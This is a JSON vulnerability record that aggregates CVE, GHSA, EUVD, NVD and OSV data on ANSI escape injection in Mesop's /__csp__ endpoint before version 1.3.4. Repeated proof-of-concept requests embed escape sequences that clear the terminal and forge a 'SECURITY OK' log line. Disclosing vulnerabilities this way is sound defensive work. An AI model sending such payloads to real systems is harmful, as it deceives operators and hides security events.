{"id":"CVE-2026-93421","aliases":["EUVD-2026-85568","GHSA-g7f6-rxc4-qhph","PYSEC-2026-4105"],"status":"published","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00528,"percentile":0.45188,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-117","CWE-150"],"published":"2026-09-23T18:59:52Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"PyPI","package":"mesop","fixed_in":["1.3.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.3.3"},{"fixed":"1.3.4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.4"}]}],"versions":["0.0.1","0.10.0","0.10.0rc0","0.10.0rc1","0.10.0rc2","0.11.0","0.11.0rc0","0.11.1","0.12.0","0.12.0rc0","0.12.1","0.12.10b1","0.12.10b2","0.12.10b3","0.12.10rc1","0.12.1rc0","0.12.2","0.12.3","0.12.3rc0","0.12.4","0.12.4rc0","0.12.5","0.12.5b1","0.12.5rc1","0.12.6","0.12.6rc1","0.12.7","0.12.7b1","0.12.7rc1","0.12.8","0.12.8b1","0.12.8rc1","0.12.9","0.12.9rc1","0.13.0","0.13.0rc1","0.14.0","0.14.1","0.14.1rc1","0.14.2b1","0.14.2b2","0.14.2rc1","0.14rc1","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.0rc0","0.9.0","0.9.0rc1","0.9.1","0.9.1rc1","0.9.2","0.9.2rc1","0.9.3","0.9.3rc0","0.9.4","0.9.4rc0","0.9.5","0.9.5rc0","1.0.0","1.0.0rc1","1.0.0rc2","1.0.1","1.0.1rc1","1.1.0","1.1.0rc1","1.1.1","1.1.1rc1","1.1.1rc2","1.1.1rc3","1.2.0","1.2.0rc1","1.2.1","1.2.1rc1","1.2.2","1.2.2rc1","1.2.3","1.2.4rc1","1.2.5","1.2.5rc1","1.2.6rc2","1.2.7","1.2.7rc1","1.3.0","1.3.0rc1","1.3.0rc2","1.3.2","1.3.3"]},{"source":"osv","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.4"}]}],"versions":["0.0.1","0.10.0","0.10.0rc0","0.10.0rc1","0.10.0rc2","0.11.0","0.11.0rc0","0.11.1","0.12.0","0.12.0rc0","0.12.1","0.12.10b1","0.12.10b2","0.12.10b3","0.12.10rc1","0.12.1rc0","0.12.2","0.12.3","0.12.3rc0","0.12.4","0.12.4rc0","0.12.5","0.12.5b1","0.12.5rc1","0.12.6","0.12.6rc1","0.12.7","0.12.7b1","0.12.7rc1","0.12.8","0.12.8b1","0.12.8rc1","0.12.9","0.12.9rc1","0.13.0","0.13.0rc1","0.14.0","0.14.1","0.14.1rc1","0.14.2b1","0.14.2b2","0.14.2rc1","0.14rc1","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.0rc0","0.9.0","0.9.0rc1","0.9.1","0.9.1rc1","0.9.2","0.9.2rc1","0.9.3","0.9.3rc0","0.9.4","0.9.4rc0","0.9.5","0.9.5rc0","1.0.0","1.0.0rc1","1.0.0rc2","1.0.1","1.0.1rc1","1.1.0","1.1.0rc1","1.1.1","1.1.1rc1","1.1.1rc2","1.1.1rc3","1.2.0","1.2.0rc1","1.2.1","1.2.1rc1","1.2.2","1.2.2rc1","1.2.3","1.2.4rc1","1.2.5","1.2.5rc1","1.2.6rc2","1.2.7","1.2.7rc1","1.3.0","1.3.0rc1","1.3.0rc2","1.3.2","1.3.3"]}],"products":[{"vendor":"mesop-dev","product":"mesop"}],"references":[{"url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-g7f6-rxc4-qhph","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/mesop-dev/mesop/pull/1397","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/mesop-dev/mesop/commit/f38c42a1d3eba246941ef8d7f645072d53c58785","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/mesop-dev/mesop/releases/tag/v1.3.4","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-g7f6-rxc4-qhph","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/93xxx/CVE-2026-93421.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93421","tags":["advisory"]},{"url":"https://github.com/mesop-dev/mesop","tags":["package"]},{"url":"https://pypi.org/project/mesop","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-93421","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.","status":"published","published":"2026-09-23T18:59:52.637Z","modified":"2026-09-23T19:41:34.966Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-117","CWE-150"],"updated_at":"2026-11-02T14:19:54.122945Z"}],"euvd":[{"id":"EUVD-2026-85568","description":"Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.","status":"published","published":"2026-09-23T18:59:52Z","modified":"2026-09-23T19:41:34Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:59.820483Z"}],"ghsa":[{"id":"GHSA-g7f6-rxc4-qhph","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"### Summary\n\nThe `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters.\n\nA remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.\n\n### Details\n\nThe CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:\n\nmesop/server/static_file_serving.py\n```python\n@app.route(prefix_base_url(\"/__csp__\"), methods=[\"POST\"])\ndef csp_report():\n    report = request.get_json(force=True)\n\n    document_uri = report[\"csp-report\"][\"document-uri\"]\n    blocked_uri = report[\"csp-report\"][\"blocked-uri\"]\n    violated_directive = report[\"csp-report\"][\"violated-directive\"]\n\n    print(f\"... Blocked URL: {blocked_uri} ...\")\n```\n\nSince these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.\n\n### PoC\n\nSend the following request:\n\n```http\nPOST /__csp__\nContent-Type: application/json\n\n{\n  \"csp-report\": {\n    \"document-uri\": \"https://victim.example\",\n    \"blocked-uri\": \"\\u001b[2J\\u001b[H\\u001b[32m*** SECURITY OK - No CSP violations found ***\\u001b[0m\\n\\u001b[8mhttps://evil.example\",\n    \"violated-directive\": \"script-src-elem\"\n  }\n}\n```\n\nThe request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.\n\nWhen the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content.\n\n**Expected output**\n\n```text\n    Content Security Policy Error\n\nDirective: script-src-elem\nBlocked URL: ...\nApp path: /app\n```\n\n**Rendered output**\n\n```text\n*** SECURITY OK - No CSP violations found ***\nhttps://evil.example\nApp path: /app\n```\n\n### Impact\n\nAn unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:\n\n1. Inject forged log messages that appear to originate from the application.\n2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.\n3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.\n4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake \"SECURITY OK\" notifications).\n5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.","status":"published","published":"2026-09-23T19:01:05Z","modified":"2026-09-23T19:01:06Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-117","CWE-150"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-93421","description":"Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.","status":"published","published":"2026-09-23T19:19:45.14Z","modified":"2026-09-30T17:32:07.107Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-117","CWE-150"],"updated_at":"2026-11-02T14:12:50.703874Z"}],"osv":[{"id":"CVE-2026-93421","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.","status":"published","published":"2026-09-23T18:59:52.637Z","modified":"2026-10-28T02:31:14.799895524Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-117","CWE-150"],"updated_at":"2026-11-02T15:45:20.931171Z"},{"id":"GHSA-g7f6-rxc4-qhph","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"### Summary\n\nThe `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters.\n\nA remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.\n\n### Details\n\nThe CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:\n\nmesop/server/static_file_serving.py\n```python\n@app.route(prefix_base_url(\"/__csp__\"), methods=[\"POST\"])\ndef csp_report():\n    report = request.get_json(force=True)\n\n    document_uri = report[\"csp-report\"][\"document-uri\"]\n    blocked_uri = report[\"csp-report\"][\"blocked-uri\"]\n    violated_directive = report[\"csp-report\"][\"violated-directive\"]\n\n    print(f\"... Blocked URL: {blocked_uri} ...\")\n```\n\nSince these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.\n\n### PoC\n\nSend the following request:\n\n```http\nPOST /__csp__\nContent-Type: application/json\n\n{\n  \"csp-report\": {\n    \"document-uri\": \"https://victim.example\",\n    \"blocked-uri\": \"\\u001b[2J\\u001b[H\\u001b[32m*** SECURITY OK - No CSP violations found ***\\u001b[0m\\n\\u001b[8mhttps://evil.example\",\n    \"violated-directive\": \"script-src-elem\"\n  }\n}\n```\n\nThe request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.\n\nWhen the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content.\n\n**Expected output**\n\n```text\n    Content Security Policy Error\n\nDirective: script-src-elem\nBlocked URL: ...\nApp path: /app\n```\n\n**Rendered output**\n\n```text\n*** SECURITY OK - No CSP violations found ***\nhttps://evil.example\nApp path: /app\n```\n\n### Impact\n\nAn unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:\n\n1. Inject forged log messages that appear to originate from the application.\n2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.\n3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.\n4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake \"SECURITY OK\" notifications).\n5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.","status":"published","published":"2026-09-23T19:01:05Z","modified":"2026-10-01T17:55:47.100968033Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-117","CWE-150"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"PYSEC-2026-4105","title":"Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint","description":"### Summary\n\nThe `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters.\n\nA remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.\n\n### Details\n\nThe CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:\n\nmesop/server/static_file_serving.py\n```python\n@app.route(prefix_base_url(\"/__csp__\"), methods=[\"POST\"])\ndef csp_report():\n    report = request.get_json(force=True)\n\n    document_uri = report[\"csp-report\"][\"document-uri\"]\n    blocked_uri = report[\"csp-report\"][\"blocked-uri\"]\n    violated_directive = report[\"csp-report\"][\"violated-directive\"]\n\n    print(f\"... Blocked URL: {blocked_uri} ...\")\n```\n\nSince these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.\n\n### PoC\n\nSend the following request:\n\n```http\nPOST /__csp__\nContent-Type: application/json\n\n{\n  \"csp-report\": {\n    \"document-uri\": \"https://victim.example\",\n    \"blocked-uri\": \"\\u001b[2J\\u001b[H\\u001b[32m*** SECURITY OK - No CSP violations found ***\\u001b[0m\\n\\u001b[8mhttps://evil.example\",\n    \"violated-directive\": \"script-src-elem\"\n  }\n}\n```\n\nThe request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.\n\nWhen the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content.\n\n**Expected output**\n\n```text\n    Content Security Policy Error\n\nDirective: script-src-elem\nBlocked URL: ...\nApp path: /app\n```\n\n**Rendered output**\n\n```text\n*** SECURITY OK - No CSP violations found ***\nhttps://evil.example\nApp path: /app\n```\n\n### Impact\n\nAn unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:\n\n1. Inject forged log messages that appear to originate from the application.\n2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.\n3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.\n4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake \"SECURITY OK\" notifications).\n5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.","status":"published","published":"2026-10-01T16:38:38.654373Z","modified":"2026-10-01T17:45:10.035276068Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}